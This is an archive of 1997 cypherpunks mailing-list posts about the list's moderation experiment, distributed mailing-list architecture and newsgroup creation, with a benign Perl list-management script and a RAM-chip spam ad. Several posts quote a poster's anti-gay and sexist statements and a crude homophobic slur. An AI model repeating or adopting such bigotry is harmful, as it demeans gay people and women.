From: warlord at MIT.EDU (Derek Atkins) Date: Thu, 13 Feb 1997 08:43:32 -0800 (PST) Subject: Procmail during the transition, anyone? In-Reply-To: <199702131441.GAA01300@toad.com> Message-ID: Anil Das writes: [snip] > It detects duplicates by Message-Id. Unfortunately, the messages that make it through to the cypherpunks list have their MessageID changed when they get approved. So, checking for duplicates by MessageID fails, given the current approval mechanism. :( I've informed Sandy of the problem, but he doesn't know how to preserve the original MessageIDs. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord at MIT.EDU PGP key available From aba at dcs.ex.ac.uk Thu Feb 13 08:50:05 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 13 Feb 1997 08:50:05 -0800 (PST) Subject: How to make majordomo request confirmations of subscriptions? In-Reply-To: <199702130324.VAA12219@manifold.algebra.com> Message-ID: <199702072018.UAA00465@server.test.net> Igor Chudov > I would like to set up my majordomo to request subscription > confirmations from users, by sending them a cookie. Looking at the > majordomo config files, I have not found such option. > > Ideally I would like to have a system that a) requires the > new users confirm new subscriptions and b) once in a while > asks users to confirm their existing subscriptions. > > Is there any way to do it? Perry Metzger does this for cryptography at c2.net. I asked him what modifications to majordomo he used, and he said he has no mods. I think that you just need to upgrade to the latest version. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702072011.UAA00463@server.test.net> Igor Chudov writes: > I'd suggest a simplier solution: to connect each server with a couple, > or maybe three, other servers. This scheme is rather robust, does not > consume too much CPU time and bandwidth, and is easy to implement. I'm not sure what the architecture you are suggesting is, but this is what I suggest as the simplest to set up. Have one main majordomo. Have many mail-exploders. You subscribe to the main majordomo request address, and it forwards your subscription request to a random mail-exploder. You unsubscribe to the main majordomo request address, and it forwards your subscription to all the mail-exploders request addresses (unsubscribe traffic is low anyway, keeping track of who is subscribed where at the main major domo doesn't seem worth it). Each person who wishes to run an exploder is subscribed (manually) to the main majordomo. You submit articles to the main majordomo, and it sends copies of the articles to it's subscribers (the mail-exploders). The mail-exploders send mail to the address on their subscriber lists. (John Gilmore suggested this architecture, as a simpler alternative). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: At 5:00 AM +0000 2/13/97, Attila T. Hun wrote: >on or about 970212:1525 "Timothy C. May" said: >+Having said this, the flaw remains that "junk mail" is "free" to the >+sender. This is a flaw in the ontology of e-mail, and needs to be >+fixed. Digital postage is one approach. > > probably cut down on our postings to cp as well! 32 cents to post? > I'm sure Attila does not believe any digital postage scheme would fix the message rate at 32 cents, but it's an issue worth expanding upon. First, the rate would be based on true market conditions, presumably. That is, carriers of traffic would negotiate rates. Multiple stages of carriage would involve negotiation between carriers. (As with shipment of physical goods, where a shipment from Alice to Bob might involve several carriers: trucks, trains, warehouse use, delivery vans, toll road fees. All are "folded in" to the $3 or whatever charge paid by Alice or Bob, depending.) Second, the carriage charges for an ordinary e-mail message would likely be in the sub-cents range. Third, I don't see this ontological restructuring happening anytime soon. People have gotten used to "free" services. Fourth, we need to be alert to moves by the U.S. Postal Service to get a foot in the door for "digital postage." There's nothing they'd like more than having people clamor for the government to "do something!" about spam and "unwanted mail" and thus get this foot in the door. > unfortunately, until the irresponsible tone down their greed, we > need the regulation to protect ourselves from the predators. > > in other words, I agree with you in my heart, but our society > refuses to cooperate. Attila and I have had this disagreement before (last time it involved Attila's support for curfews). Attila is free to hire agents to screen his mail so he does not receive spam. He is not free, in a free society, to force such screeners upon me. Talking about "irresponsible tones" and "greed" and how we need more laws to protect ourselves from "predators" sounds more like something from the Marin County limousine liberal set than from a Utah mountain man Cypherpunk. I'm shocked, simply shocked. (:-}) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From robertn at dm.net.lb Thu Feb 13 08:56:06 1997 From: robertn at dm.net.lb (Robert Nadra) Date: Thu, 13 Feb 1997 08:56:06 -0800 (PST) Subject: FW: I would like to be out of your mailing list Message-ID: <199702131656.IAA05958@toad.com> I would like to get out of your mailing list , please indicate the correct procedure. Thanks. From nobody at huge.cajones.com Thu Feb 13 08:56:38 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 13 Feb 1997 08:56:38 -0800 (PST) Subject: Dale-Further proof Message-ID: <199702131656.IAA05974@toad.com> Yet another Dale day (blah): :Date: Wed, 12 Feb 1997 22:37:58 -0800 :From: Dale Thorn :To: cypherpunks at toad.com :CC: dlv at bwalk.dm.com :Another blood stain on Gilmore's shroud, as it were. As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores. Ipso facto. As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries. And, cc: Doctor V., no less. What cabal is this with cc's in the clear? Love you, fella. (You can tell, can't you.) From aga at dhp.com Thu Feb 13 09:01:13 1997 From: aga at dhp.com (aga) Date: Thu, 13 Feb 1997 09:01:13 -0800 (PST) Subject: [STATS] Cypherpunks-unedited subscriptions In-Reply-To: <3302B6C6.2A25@gte.net> Message-ID: posted On Wed, 12 Feb 1997, Dale Thorn wrote: > Date: Wed, 12 Feb 1997 22:37:58 -0800 > From: Dale Thorn > Reply-To: freedom-knights at jetcafe.org > To: cypherpunks at toad.com, freedom-knights at jetcafe.org, > cypherpunks at algebra.com > Cc: dlv at bwalk.dm.com > Subject: [STATS] Cypherpunks-unedited subscriptions > > Total subscribers for cypherpunks-unedited: > ------------------------------------------- > Tue 14 Jan: 13 > Wed 15 Jan: 15 > Thu 16 Jan: 13 > Fri 17 Jan: 15 > Tue 21 Jan: 28 > Fri 24 Jan: 30 > Mon 27 Jan: 34 > Tue 04 Feb: 43 > Tue 11 Feb: 62 > > When Gilmore made his pronouncement that "the subscribers have spoken", > only a minority of the "real" subscribers were on the -unedited list. > > Since the above figures don't include Sandfort's entry, the jump to > 62 as of yesterday (despite the discontinuance) easily represents > the majority of the active (real) subscribers. Another blood stain > on Gilmore's shroud, as it were. > From antimod at nym.alias.net Thu Feb 13 09:17:41 1997 From: antimod at nym.alias.net (Against Moderation) Date: Thu, 13 Feb 1997 09:17:41 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <19970213171732.9310.qmail@anon.lcs.mit.edu> > Date: Thu, 13 Feb 1997 11:24:57 -0500 (EST) > From: aga > > Well, the fact remains that the homos are instrumental in creating and > forming a cliquish and censored usenet. There is just no question > about that. Remember the previous cypherpunk who stated that the > gays "created and run usenet." No. Who said that, and why do you think the person was serious, let alone telling the truth? > Your assumption that I am a "bigot" makes it you appear uninformed. > Sexism is good, but racism is bad. A sexist is not a bigot. > > The only one who qualifies as a "bigot" is a racist. According to the American Heritage dictionary: bigot n. One who is strongly partial to one's own group, religion, race, or politics and is intolerant of those who differ. According to Webster: bigot n. One obstinately or intolerantly devoted to his own opinions and prejudices I see nothing that limits bigotry to racial intolerance. > It is very logical and wise to discriminate on the basis of sex. Most would disagree, and decide based on that and other statements you have made that you must be an extremely unpleasant person. If you want to fight censorship effectively, going around telling people "You're a shit-eating faggot you fucking cock-sucking homo censor" in public forums is not going to win you many points. Instead, it will quickly land you in many people's killfiles, and will eventually lead some people with bad client software to wonder if it wouldn't be worth giving up some freedom of speech for the benefit of not having to see your rants any more. I'm not saying you don't have a right to express your opinions. I'm just remarking that you appear to be more in the business of inducing censorship than fighting it. If that's the case, so be it; someone has to get censored in order for people to fight censorship, and exposing people's willingness to censor is not necessarily a bad thing in itself. Unfortunately, it sort of makes life harder for those who actually fight the censorship when you pretend to be one of them. Your argument seems to run something like, "To protect freedom of speech, bad all faggots from the net, and especially don't let them run any mailing lists." If this offensive and highly noticeable argument eclipses many of the important, fundamental ones as the censors would like it too (why do you think your articles make it to cypherpunks- flames while mine only get as far as -unedited), you will end up not only inducing censorship but also seriously hampering the efforts of those who are legitimately fighting that censorship. > I am not a racist, so therefore I can not be a "bigot," regardless of > my views on homosexuality. See above. From tcmay at got.net Thu Feb 13 09:45:14 1997 From: tcmay at got.net (Tim May) Date: Thu, 13 Feb 1997 09:45:14 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way Message-ID: <199702131737.JAA17690@you.got.net> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks) At 11:42 AM -0500 2/13/97, Derek Atkins wrote: >Unfortunately, the messages that make it through to the cypherpunks >list have their MessageID changed when they get approved. So, >checking for duplicates by MessageID fails, given the current approval >mechanism. :( > >I've informed Sandy of the problem, but he doesn't know how to >preserve the original MessageIDs. I will phrase my message here as respectfully as possible vis-a-vis the goals of the moderation experiment. That is, I will only deal with one aspect, the one of _costs_ of the moderation experiment. To wit, the _costs_ of the moderation experiment--Sandy's time, our time spent debating moderation, and now the issues raised by Michael Froomkin and others about dealing with the chaos of multiple, overlapping lists--greatly exceed the relatively small amount of effort it took anyone to simply delete the insult posts, the ASCII art posts, etc. I respectfully submit that the huge costs incurred on several parties have cumulatively far exceeded the minor savings of not having a handful of the 'bot-generated insults of the day and some of the ASCII art generated. As to the "comity" of the list, the moderation experiment has clearly had just the opposite effect, predictably. (Imposing comity is rarely easy, especially given an independent bunch of folks who are suspicious of moderators screening their words for evidence of non-comity!). And the ill will generated toward certain folks has been regrettable, and vastly more costly than any minor savings in not having to see a few messages. "Keep it simple, stupid," the oft-quote KISS principle. A moderation scheme--except perhaps those run very tightly a la Peter Neumann's RISKS list--almost always bogs down into debates about the moderation criteria, the acceptability of certain posts, and so on. Now we see another effect: multiple lists and a confusing array of cross-posts, mail-to-News gateways, News-to-mail gateways, etc. The "Cypherpunks Way" is to encourage and empower people to filter their own stuff, or to hire outside contractors to do it for them. Failing that, to let them twist slowly in the wind. "Think of it as evolution in action." The Cypherpunks Way is also the simplest system. I hope this episode has reminded us of this lesson. --Tim May -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From pdh at best.com Thu Feb 13 09:47:54 1997 From: pdh at best.com (Peter Hendrickson) Date: Thu, 13 Feb 1997 09:47:54 -0800 (PST) Subject: distributed mailing list architecture Message-ID: At 12:11 PM 2/7/1997, Adam Back wrote: >Igor Chudov writes: >> I'd suggest a simplier solution: to connect each server with a couple, >> or maybe three, other servers. This scheme is rather robust, does not >> consume too much CPU time and bandwidth, and is easy to implement. > I'm not sure what the architecture you are suggesting is, but this is > what I suggest as the simplest to set up. > Have one main majordomo. > Have many mail-exploders. > You subscribe to the main majordomo request address, and it forwards > your subscription request to a random mail-exploder. > You unsubscribe to the main majordomo request address, and it forwards > your subscription to all the mail-exploders request addresses > (unsubscribe traffic is low anyway, keeping track of who is subscribed > where at the main major domo doesn't seem worth it). > Each person who wishes to run an exploder is subscribed (manually) to > the main majordomo. > You submit articles to the main majordomo, and it sends copies of the > articles to it's subscribers (the mail-exploders). > The mail-exploders send mail to the address on their subscriber lists. > (John Gilmore suggested this architecture, as a simpler alternative). This mostly solves the performance problem, but performance was not the only choke point. It is important to have many machines which accept posts and which send them to other machines. (Also, many interconnections means that few messages have to go through more than two machines which should make message distribution extraordinarily fast and highly redundant. Standing in the way of the cypherpunks list will be like standing in the way of the wind.) I suggest we consider the problem of subscriptions to be independent of the problem of posting and distributing messages. Some machine owners may wish to pool subscription activities. The fast and easy approach is to have an official cypherpunks subscription page which lists all of the mail servers which will accept new subscribers. (The person who maintains this page would ideally not be somebody running a mail server.) The interested person looks at the page and then picks a majordomo to subscribe to. It seems beneficial to me from a technical and social standpoint to have a web of relationships between list managers and subscribers. If as a subscriber you have some sort of problem (technical or social), it will work better if there is just one person to talk to rather than a loose network of volunteers. Peter From paul at fatmans.demon.co.uk Thu Feb 13 09:52:55 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Thu, 13 Feb 1997 09:52:55 -0800 (PST) Subject: Cypherpunks-announce? Do we need to recreate this? Message-ID: <855853716.107890.0@fatmans.demon.co.uk> > Now that cypherpunks is moving, to both a newsgroup and one or more > mailing lists, there's still a need for cypherpunks-announce or > something like it. So far it's carried 1-2 announcements per month. > > Should we create it as a mailing list, moderated or unmoderated, > or as a newsgroup? (It's been a moderated mailing list, run by John and > Hugh.) I newsgrouped several sub groups along with alt.cypherpunks. alt.cypherpunks.announce alt.cypherpunks.social alt.cypherpunks.technical but they do not appear to have taken effect (my local news server refuses to see them). Can anyone else see them? - If not I`ll have a word with my newsadmin. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From ici at ici.net Thu Feb 13 10:09:34 1997 From: ici at ici.net (Rhode Island Business Net) Date: Thu, 13 Feb 1997 10:09:34 -0800 (PST) Subject: RAM CHIP SALE! Message-ID: <199702131735.MAA04652@uhura.ici.net> RIBN appologizes for any inconvenience this e-mail may have cause. In no way does RIBN mean to offend or upset any persons, please delete the e-mail if you are not interested. Thank you. 16 Megs EDO - $76.99!! 8 Megs EDO - $36.99!! 4 Megs EDO - $19.99!! Rhode Island Business Nets Ram Blow-out SALE!! Why pay $10-15 per meg at major computer stores? Rhode Island Business Net Inc can upgrade your RAM for as low as $4.81 per meg EDO, NON EDO, or Parity. Includes installation instructions and 1 year warranty. All order shipped US Postal Priority Mail Call toll free 1-800-785-3799 10-6 EST Mon - Sat Visa, Mastercard, Discover Card and American Express accepted. Quanities limited call now! Offer expires Feb. 28, 1997 32 Megs EDO - $149.99 32 Megs non-edo - $149.99 32 Megs Parity - $157.99 16 Megs EDO - $76.99 16 Megs non-edo - $76.99 16 Megs Parity - $ SOLD OUT 8 Megs EDO - $36.99 8 Megs non-edo - $36.99 8 Megs Parity - $54.99 4 Megs EDO - $19.99 4 Megs non-edo - $19.99 4 Megs Parity - $25.99 30 pin available call for prices Call 1-800-785-3799 to order CALL NOW!! --------------------------------------------------------------------------------------------------------------------------------------------------- From Thomas.Roessler at sobolev.rhein.de Thu Feb 13 10:16:34 1997 From: Thomas.Roessler at sobolev.rhein.de (Thomas Roessler) Date: Thu, 13 Feb 1997 10:16:34 -0800 (PST) Subject: distributed mailing list architecture In-Reply-To: <199702072011.UAA00463@server.test.net> Message-ID: <199702131812.TAA17470@sobolev.rhein.de> Maybe you have some use for the appended perl script. I created it for a list setup quite similar to what is currently being discussed on cypherpunks. It has never ever been used in production; you'll notice yourself that the code is not too nice. The script currently tries to handle majordomo and SmartList exploders; at least SmartList needs to be hacked a little bit to avoid daily subscription approvals to people being moved between different sub-lists. Distribute and use this script freely; credit is appreciated. tlr ------------------------------ #!/usr/bin/perl ############################################################ # # $Id: distlist.pl,v 1.2 1997/01/24 17:20:38 roessler Exp $ # # # Handle distributed mailing lists. # require 'getopts.pl'; $c_sublists='lists'; # Data about the sublists $c_distfile='dist'; # A list of mail addresses $c_datafile='dist.data'; # _Our_ list of addresses $c_contact='roessler at sobolev.rhein.de'; # Whom to contact in case of problems $sendmail="| /usr/sbin/sendmail -t -odq"; $debug=0; # Debugging output. Can also be # turned on by using the -x switch. $signature="-- \nThis mail has been generated automatically by the distlist\n". "program. Please contact $c_contact in case of problems.\n"; @sublists=(); @newsubs=(); # # Command line processing # &dprint (1, 'Processing the command line...\n'); &Getopts('s:d:D:c:x:'); $c_sublists=$opt_s if $opt_s; $c_distfile=$opt_d if $opt_d; $c_datafile=$opt_D if $opt_D; $c_contact=$opt_c if $opt_c; $debug=$opt_x if $opt_x; # # Read the data and config files, perform various checks. # # # sublists # &dprint(1, "Reading $c_sublists..."); # format: addr:maxsubscr:listtype:password:adminrequest:maintainer open(SUBLISTS, $c_sublists) || die("Can't open $c_sublists"); SUBLIST: while() { next SUBLIST if /^#/ || /^$/; chop; ($addr, $maxsubscr, $listtype, $password, $admin, $maintainer) = split(/:/, $_); $s_maxsubscr{$addr}=$maxsubscr; $s_listtype{$addr}=$listtype; $s_password{$addr}=$password; $s_admin{$addr}=$admin; $s_maintainer{$addr}=$maintainer; $s_onlist{$addr}=0; $s_addem{$addr}=""; $s_delem{$addr}=""; &dprint(3,"Parsed list $addr: maximum $maxsubscr people; listtype $listtype; password $password.; administrative address $admin; maintainer $maintainer"); @sublists=(@sublists, $addr); } close(SUBLISTS); # In addition, we define a special list for people to be redistributed later. $s_maxsubscr{'later'}=100000; # Very big. ;) $s_listtype{'later'}=""; $s_password{'later'}=""; $s_onlist{'later'}=0; $s_addem{'later'}=""; $s_delem{'later'}=""; # # Read our dist file # # format: user:list if(open(DATAFILE, $c_datafile)) { &dprint(1, "Reading $c_datafile..."); USERLINE: while() { next USERLINE if /^#/ || /^$/; chop; ($user, $list) = split(/:/, $_); # Check if the list exists; handle user. if(! $s_maxsubscr{$list}) { &dprint(2, "While checking user $user: $list does no longer exist."); $list="later"; } elsif( $s_onlist{$list} >= $s_maxsubscr{$list} ) { &dprint(2, "Warning: $list is full. Redistributing people later."); $s_delem{$list}=join(':',$user,$s_delem{$list}); $list="later"; } $s_onlist{$list}++; $u_list{$user}=$list; $deletem{$user}=$user; } close(DATAFILE); &dprint(1,"$c_datafile finished."); } else { &dprint(1, "Warning: Can't read $c_datafile."); } # # Now, read the real distribution file. # &dprint(1, "Reading $c_distfile..."); open(DISTFILE, $c_distfile) || die("Can't open $c_distfile"); DISTLINE: while() { next DISTLINE if /^#/ || /^$/ || /^\(/; chop; if(!$u_list{$_}) { # A new member. &dprint(2, "Found a new member: $_."); @newsubs=($_, @newsubs); } else { # We know him. &dprint(3, "Well-known: $_."); delete $deletem{$_}; } } close(DISTFILE); # # Handle deletions. # foreach $user (keys %deletem) { $list=$u_list{$user}; delete $u_list{$user}; $s_onlist{$list}--; $s_delem{$list}=join(':', $s_delem{$list}, $user); &dprint(3, "Removing $user from sublist $list."); } # # Handle postponed subscriptions: The later list. # foreach (keys %u_list) { next unless $u_list{$_} eq "later"; @newsubs=($_, @newsubs); delete $u_list{$_}; &dprint(3, "Adding $_ to the list of new subscriptions. Was postponed."); } &dprint(1, "Distributing new subscriptions..."); NEWSUBS: foreach $user (@newsubs) { $avg=0.0; foreach $l (@sublists) { $avg += $s_onlist{$l}/$s_maxsubscr{$l}; } $avg = $avg / ($#sublists + 1.0); if ($avg >= 1) { &dprint(2, "Warning: All sublists are full while trying to insert $user."); } undef $possible; foreach $l (@sublists) { if($s_onlist{$l} <= $avg*$s_maxsubscr{$l}) { $possible=$l; } if($s_onlist{$l} < $avg*$s_maxsubscr{$l}) { last; } } if($possible) { $l = $possible; } $s_addem{$l}=join(':', $s_addem{$l}, $user); $s_onlist{$l}++; $u_list{$user}=$l; } # # Write our own data file. # if(open(DATAFILE, ">$c_datafile")) { foreach (keys %u_list) { printf DATAFILE "%s:%s\n", $_, $u_list{$_}; } close(DATAFILE); } else { &dprint(1, "Warning: Can't write $c_datafile."); } # # The lists have been put together. Commit the changes. # &dprint(1, "Committing the changes..."); foreach $l (@sublists) { if($s_listtype{$l} eq "majordomo") { &commit_majordomo($l); } elsif ($s_listtype{$l} eq "smartlist") { &commit_smartlist($l); } else { &dprint(1, "While trying to commit changes for $l:"); &dprint(1, "Unknown list type $s_listtype{$l}.\n"); } } # # To be done: Print out some statistics. # print "Distlist results:\n"; print "-----------------\n"; print "\n"; printf "There are currently %d subscribers on %d sublists.\n\n", scalar(keys %u_list), $#sublists+1; $full_lists=0; printf "%-40s on max\n", "Name"; printf "----------------------------------------------------\n"; foreach $l (@sublists) { printf "%-40s %4d %4d", $l, $s_onlist{$l}, $s_maxsubscr{$l}; if($s_onlist{$l} >= $s_maxsubscr{$l}) { print " *** This list is full ***"; $full_lists++; } print "\n"; } if($full_lists) { print "\n$full_lists of the sublists are *full*. Please get in touch\n"; print "with the maintainers.\n"; } print "\n\n"; print $signature; ############################################################ # # Some helper functions. # # Print out diagnostics. sub dprint { if($_[0] <= $debug) { printf STDERR "%s\n", $_[1]; } } sub commit_majordomo { my $list=$_[0]; my @bla; my $ll; my $user; &dprint(2, "Committing changes to majordomo list $list"); &dprint(3, "to be added: $s_addem{$list}"); &dprint(3, "to be deleted: $s_delem{$list}"); ($ll, @bla)=split(/@/, $list); if(!open(SENDMAIL, $sendmail)) { &dprint(1, "Warning: Can't start sendmail when committing changes to $list"); } print SENDMAIL "To: $s_admin{$list}\n"; print SENDMAIL "From: $c_contact\n"; print SENDMAIL "\n\n"; foreach $user (@bla=split(/:/, $s_addem{$list})) { print SENDMAIL "approve $s_password{$list} subscribe $ll $user\n" if $u_list{$user}; } foreach $user (@bla=split(/:/, $s_delem{$list})) { print SENDMAIL "approve $s_password{$list} unsubscribe $ll $user\n" unless $u_list{$user} eq $list; } print SENDMAIL $signature; close(SENDMAIL); } sub smartlist_xcommand { my ($list, $to, $passwd, $command, $maintainer) = @_; if(!open(SENDMAIL, $sendmail)) { &dprint(1, "Can't start sendmail when committing changes for $list"); } print SENDMAIL "To: $to\n"; print SENDMAIL "From: $c_contact\n"; print SENDMAIL "X-Command: $maintainer $passwd $command\n"; print SENDMAIL "\n\n"; print SENDMAIL $signature; close SENDMAIL; } sub commit_smartlist { my $list=$_[0]; my @bla; my $user; &dprint(2, "Committing changes to smartlist list $list"); foreach $user (@bla=split(/:/, $s_addem{$list})) { &smartlist_xcommand($list, $s_admin{$list}, $s_password{$list}, "subscribe $user", $s_maintainer{$list}) if $u_list{$user}; } foreach $user (@bla=split(/:/, $s_delem{$list})) { &smartlist_xcommand($list, $s_admin{$list}, $s_password{$list}, "unsubscribe $user", $s_maintainer{$list}) unless $u_list{$user} eq $list; } } From ichudov at algebra.com Thu Feb 13 10:37:55 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 13 Feb 1997 10:37:55 -0800 (PST) Subject: Procmail during the transition, anyone? In-Reply-To: Message-ID: <199702131828.MAA24702@manifold.algebra.com> subs-cri-be to the unedited list. igor Derek Atkins wrote: > > Anil Das writes: > > [snip] > > It detects duplicates by Message-Id. > > Unfortunately, the messages that make it through to the cypherpunks > list have their MessageID changed when they get approved. So, > checking for duplicates by MessageID fails, given the current approval > mechanism. :( > > I've informed Sandy of the problem, but he doesn't know how to > preserve the original MessageIDs. > > -derek > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > warlord at MIT.EDU PGP key available > - Igor. From EALLENSMITH at ocelot.Rutgers.EDU Thu Feb 13 10:56:16 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Thu, 13 Feb 1997 10:56:16 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <01IFDBB5MRH09ANACB@mbcl.rutgers.edu> From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 12-FEB-1997 23:19:40.35 >> From: "E. Allen Smith" >> Someone with more experience correct me if I'm wrong (I'm just >> starting to learn about mailing list management), but isn't saving >> at least the first bounce from a given address good in order to check >> what address is the one that's actually bouncing? Admittedly, this only >> applies to badly-formed bounces. The rest can just have the address >> noted. >Hmmm, I can see saving the address causing the bounce in some sort of array >that is indexed to the majordomo subscription list for a given remailer. It >would not cost anything but overhead to save the entire message. I guess my >motivation was not that I cared their mailbox was full or it was a invalid >address but that I wouldn't be able to deliver at this time. I just don't >see any reason that it helps me to know why they can't receive mail only that >they can't. Well, if you can't deliver mail because their mailbox is full, then you should simply wait a few days before trying to deliver mail to that address. If it's because the address isn't there any more, you should delete it from the subscription lists. Otherwise, the instant people's mail quotas overflow (e.g., they're on AOL and they haven't been able to get through the clogged lines), they get bounced... or you're left with a lot of invalid addresses. The address causing the bounce is not necessarily determinable automatically from the bounce message; if it isn't, then you need to keep a copy around for a human to look at. [re: bi-directional news-mail gateways] >> >Want to volunteer? >> >> Give me some idea of how much programming knowledge, time, etcetera >> is required, please, before I can answer. I'd be renting space on some other >> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level >> programming language (i.e., beyond Applesoft Basic) that I know anything of >> is Perl (and I don't know that all that well); and I am somewhat busy with >> other stuff. In other words, it depends. >Hmmm, not shure how much programming it would take - never done it myself. >I think Perl would be an acceptable language. I certainly hope to do the >majority of the scripts on the CDR in Perl myself. Perhaps there is somebody >who knows the fine points of how INN cache's messages. Redbeard and I had a >short discussion about this issue today relating to tracking messages to >reduce mail-loops. I will discuss it with him and see what happens. Given that there are pre-existing news-mail gateways, I'd think that the programs should be available. My concern on the programming is more in the realm of keeping the thing up and running. >I know exactly what you mean. I have two full-time jobs and hadn't really >thought of taking on the cpunks list in any manner. But hey, that is the >spice in life... Understood; my busy-ness with other stuff comes from being a grad student. >Give me a couple of days to look at the situation and if somebody don't beat >me to it I'll post what I find out. Cool? Looks OK. I'll also take a look around for what information I can find. -Allen From john at cognac.apana.org.au Thu Feb 13 11:05:18 1997 From: john at cognac.apana.org.au (John Pearson) Date: Thu, 13 Feb 1997 11:05:18 -0800 (PST) Subject: alt.cypherpunks In-Reply-To: <199702120549.VAA07146@toad.com> Message-ID: > Hey, folks, > > I thought all you had to do to create an alt.group was to have a news admin > somewhere just make a group; send out a control message of somekind. I > thought that alt groups didn't have to go through a charter, or voting > process, or anything else. They just happened. > > Then, everyone just has to tell their local news admin that they went to > see it, or they can wait until their news admin sees it flying by, and adds > it to the available groups list at his own discretion. > > It's not like we want comp.cypherpunks or something, with a voting process, > right? > It's not quite that simple. While a "Big 7" group requires CFD, charter and voting, once you pass tthose hurdles you're virtually guaranteed good propagation. alt has no "set" creartion procedure, but your group will not receive good propagation unless the powers that be "approve" of the idea. In this case, the people you have to convince are the news admins who must permit your control message to be honoured; time was most sites ran on autopilot, but joke and badly-named groups mean that most news admins now drop most newgroup messages on the floor. These people hang out in alt.config, and you should propose the group's creation there, followed by a couple of weeks of discussion, hopefully featuring many more supportive messages than non-supportive ones. After that, a newgroup message stands a much better chance. > Cheers, > Bob Hettinga > > > Hip hip, John P. john at huiac.apana.org.au From vipul at pobox.com Thu Feb 13 11:19:18 1997 From: vipul at pobox.com (Vipul Ved Prakash) Date: Thu, 13 Feb 1997 11:19:18 -0800 (PST) Subject: CompuServe reports e-mail court victory Message-ID: <199702140050.AAA00329@fountainhead.net> *** CompuServe reports e-mail court victory CompuServe, after winning a court decision making unauthorized junk e-mail illegal, responded Thursday to a report that Cyber Promotions, Inc., a commercial mass e-mailer, would not accept a federal court's halting of its spamming activities directed against CompuServe subscribers. Cyber Promotions indicated that it would appeal the decision, which follows the settlement of a similar suit. That settlement allows Cyber Promotions to send junk e-mail to another Internet service provider's members. CompuServe said its goal "was to see this through to a binding court decision." For the full text story, see http://www.merc.com/stories/cgi/story.cgi?id=1425511-f29 -- Vipul Ved Prakash | - Electronic Security & Crypto vipul at pobox.com | - Web Objects 91 11 2233328 | - PERL Development 198 Madhuban IP Extension | - Linux & Open Systems Delhi, INDIA 110 092 | - Networked Multimedia From vipul at pobox.com Thu Feb 13 11:19:25 1997 From: vipul at pobox.com (Vipul Ved Prakash) Date: Thu, 13 Feb 1997 11:19:25 -0800 (PST) Subject: N.Y. judge rules for Planned Parenthood in web site case Message-ID: <199702140049.AAA00318@fountainhead.net> *** N.Y. judge rules for Planned Parenthood in web site case A federal judge has temporarily stopped an abortion foe from identifying his web site as belonging to Planned Parenthood and selling an anti-abortion book from that home page. The temporary restraining order, issued Wednesday, stops Richard Bucci from identifying his home page as "Planned Parenthood's Home Page" and using "plannedparenthood.com" as a domain name. Planned Parenthood, which has its own web site, sued Bucci for trademark infringement. The next hearing is slated for Feb. 20. For the full text story, see http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e -- Vipul Ved Prakash | - Electronic Security & Crypto vipul at pobox.com | - Web Objects 91 11 2233328 | - PERL Development 198 Madhuban IP Extension | - Linux & Open Systems Delhi, INDIA 110 092 | - Networked Multimedia From EALLENSMITH at ocelot.Rutgers.EDU Thu Feb 13 11:21:20 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Thu, 13 Feb 1997 11:21:20 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <01IFDCB1Y74I9ANACB@mbcl.rutgers.edu> From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 12-FEB-1997 23:19:40.35 To: IN%"cypherpunks at toad.com" CC: Subj: RE: Cypherpunks Distributed Remailer (fwd) Received: from toad.com by mbcl.rutgers.edu (PMDF #12194) id <01IFCGV6E7PC94GG0G at mbcl.rutgers.edu>; Wed, 12 Feb 1997 23:18 EDT Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id RAA13474; Wed, 12 Feb 1997 17:59:02 -0800 (PST) Date: Wed, 12 Feb 1997 18:59:05 -0600 (CST) From: Jim Choate Subject: RE: Cypherpunks Distributed 